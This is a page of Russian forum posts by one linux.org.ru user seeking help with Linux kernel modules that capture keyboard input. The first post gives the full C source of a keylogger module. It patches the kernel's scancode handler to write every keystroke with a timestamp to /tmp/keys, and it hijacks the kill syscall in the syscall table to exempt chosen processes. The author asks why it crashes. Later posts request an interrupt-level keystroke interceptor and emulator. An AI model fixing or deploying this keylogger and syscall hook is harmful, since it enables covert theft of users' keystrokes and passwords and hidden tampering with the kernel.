LINUX.ORG.RU

Сообщения Valentin_vv

 

Трабл с модулем

Где ошибка в этом модуле, который пишет сканкоды и время в файл.
Работает некоторое время, пишет все, все ок, а потом падает...или может сразу упасть...
Пишет
"kernel BUG at sched.h:564!
invalid operand 0000
....
kernel panic:Aiee, killing interrupt handler!
"
В файле sched.h:564
"define task_has_cpu(tsk) ((tsk)->cpus_runnable != ~0UL)"

Код

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>
#include <asm/errno.h>
#include <asm/io.h>
#include <linux/proc_fs.h>

#include <linux/file.h>// fput()
#include <asm/uaccess.h>// get_fs(), set_fs(), KERNEL_DS
#include <linux/mm.h>// GFP_KERNEL

#define FLAG_FILE "/tmp/f_keys"
#define KEYS_FILE "/tmp/keys"
#define DPRINT(format, args...)
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

MODULE_LICENSE("GPL");

/*
change this to the correct address, which can be found in System.map
*/

void (*handle_scancode)(unsigned char,int) = (void(*)(unsigned char,int))0xc01cb030;

#define CODESIZE 7

#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000

static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00"/*movl   $0,%eax*/
"\xff\xe0"/*jmp    *%eax*/
;
int (*original_kill)(pid_t, int);

extern void *sys_call_table[];
//int errno;

void *_memcpy(void *dest, const void *src, int size)
{
    const char *p = src;
    char *q = dest;
    int i;

    for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

void got_char(unsigned char scancode)
{
    printk(KERN_ALERT "%x\n",scancode);
}


#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(unsigned char scancode)
{
int ret = 0;

struct file   *f = NULL;

lock_kernel();
BEGIN_KMEM;
f = filp_open(KEYS_FILE, O_CREAT|O_APPEND, 00600);

if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), KEYS_FILE);
ret = -1;
} else {
if (WRITABLE(f))
{

    struct my_data {
        struct timeval my_time;
       unsigned char my_scancode;
  
    };


 struct my_data new_data;
 do_gettimeofday(&new_data.my_time);
 new_data.my_scancode=scancode;


   _write(f,&new_data,sizeof(new_data));

	

 }
 else {
      DPRINT("%s does not have a write method\n",KEYS_FILE);
	    ret = -1;
	    }
	        
  if ((ret = filp_close(f,NULL)))
     DPRINT("Error %d closing %s\n", -ret, KEYS_FILE);
    }
  END_KMEM;
  unlock_kernel();
	    
 return ret;
}
int _handle_scancode(unsigned char scancode,int keydown)
{



    if (!(current->flags & NOLOG_PF)) {
      write_to_file(scancode);

////////////////    
    _memcpy(handle_scancode, original_acct_code, CODESIZE);
    handle_scancode(scancode,keydown);
    _memcpy(handle_scancode, acct_code, CODESIZE);
    return 1;
    }
return 0;
}


struct task_struct *find_task(pid_t pid)
{
        struct task_struct *task = current;

        do {
                if(task->pid == pid)
                        return(task);

                task = task->next_task;

        } while(task != current);

        return(NULL);

}


int _kill(pid_t pid, int sig)
    {
	if (sig == NOLOG_SIGNAL) {
        struct task_struct *task;

	task = find_task(pid);
	if (task == NULL) return - ESRCH;

        task->flags |= NOLOG_PF;
        return 0;
    }
    return original_kill(pid, sig);
}

int init_module(void)
{
    original_kill = sys_call_table[__NR_kill];
    sys_call_table[__NR_kill] = _kill;
    *(long *)&acct_code[1] = (long)_handle_scancode;
    _memcpy(original_acct_code, handle_scancode, CODESIZE);
    _memcpy(handle_scancode, acct_code, CODESIZE);
    return 0;
}

void cleanup_module(void)
{
    sys_call_table[__NR_kill] = original_kill;
    _memcpy(handle_scancode, original_acct_code, CODESIZE);
}
Valentin_vv
()

И все таки, почему не работает?

И все таки, почему не работает этот модуль так как надо на 2.4.28...
Он запускаетя пишет скан коды в лог, но клава не работает как положено.Сканкоды пишет, а в самой системе ниче не нажимается - ПОЧЕМУ?Пусть не выгружается, только заработает.Помогите плиз!!!
 
#include <linux/kernel.h>               /* We're doing kernel work */
#include <linux/module.h>               /* Specifically, a module */
#include <linux/sched.h>
#include <linux/tqueue.h>
#include <linux/interrupt.h>
#include <asm/io.h>
static void got_char(void *scancode)
{
   printk("Scan Code %x %s.\n",
          (int) *((char *) scancode) & 0x7F,
          *((char *) scancode) & 0x80 ? "Released" : "Pressed");
}
irqreturn_t irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    static unsigned char scancode;
    static struct tq_struct task ={
        .routine=got_char,
        .data=&scancode
    };
   unsigned char status;
   status = inb(0x64);
  scancode = inb(0x60);
queue_task(&task, &tq_immediate);
   mark_bh(IMMEDIATE_BH);
  return IRQ_HANDLED;
}

int init_module()
{
free_irq(1, NULL);
return request_irq(1,   /* The number of the keyboard IRQ on PCs */
              irq_handler, /* our handler */
              SA_SHIRQ,
              "test_keyboard_irq_handler", NULL);
}

void cleanup_module()
{
   free_irq(1, NULL);
}
MODULE_LICENSE("GPL");




 
Valentin_vv
()

Модуль и пользовательская программа

Как правильно организовать обмен между с модуля ядра в пользовательскую программу через символьное устройсво(открываю как файл и читаю в бесконечном цикле).Когда запущена одна пользовательская программа все ОК. Когда 2 и больше - получается гонка за ресурсом.Мне нужен паралельный доступ, чтоб две и больше программ читали с моего символьного устройства.Ядро 2.6. Модуль мой через device_read пишет на устройство. Если можно, то пример с реализацией паралельного доступа к ресурсу через модуль.Заранее спасибо.

Valentin_vv
()

Проблема с примером из книги The Linux Kernel Module Programming Guide

В книге The Linux Kernel Module Programming Guide Peter Jay Salzman Ori Pomerantz 2003-04-04 ver 2.4.0 (http://www.tldp.org/LDP/lkmpg/2.4/html/index.html) есть пример модуля котрый перехватывает прерывание клавиатуры(http://www.tldp.org/LDP/lkmpg/2.4/html/x1210.html#AEN1291). Если закоментировать макросы определения версий для ветки 2.0.х, то модуль(intrpt.c) компилируется под ядро 2.4.28. Но при запуске модуля(insmod intrpt.o) система падает

Kernel Panic: Aiee, killing interrupt handler! In interrupt handler - not syncing

Ведь вроде правильно прерывание захватывется. Меня интересует как правильно подправить модуль чтоб он правильно коректно работал(в лог писал сканкоды) под 2.4.28.

void irq_handler(int irq, void *dev_id, struct pt_regs *regs) { ... }

int init_module() {

free_irq(1, NULL);

return request_irq(1,irq_handler,SA_SHIRQ, "test_keyboard_irq_handler", NULL);

}

Valentin_vv
()

kbde_driver 1.1.2

Возникла с использованием этого драйвера(http://kbde.sourceforge.net), который эмулирует работу клавиатуры. Мне нужно в конечном итоге написать модуль который загружается и перехватывает собщения клавиатуры на уровне ядра.Хотел преписать kbde, чтоб тот регистрировал клавиатуру так же как в исходниках /usr/src/linux/drivers/input/serio/i8042.c(кстати я читал что в 2.6 i8042 вообще не юзается), но не получилось. Посоветуйте как лутче НАПИСАТЬ ВИРТУАЛЬНЫЙ ДРАЙВЕР КЛАВИАТУРЫ, КОТОРЫЙ МОЖЕТ ПЕРЕХВАТОВАТЬ НАЖАТИЯ КЛАВИШ И ЭМУЛИРОВАТЬ НАЖАТИЯ. Варианты типа демона или готовых утилит не катят(НУЖНО ИМЕННО МОДУЛЬ ЯДРА).В этом kbde все теоретически должно работать. Там типа регистрируется виртуальная клавиатура и юзается паралельно обычной(по крайней мере я так понял). Но не работает. Ядро 2.6.11.10.Дистр. Gentoo.Клава стандартная PS/2.

Valentin_vv
()

RSS подписка на новые темы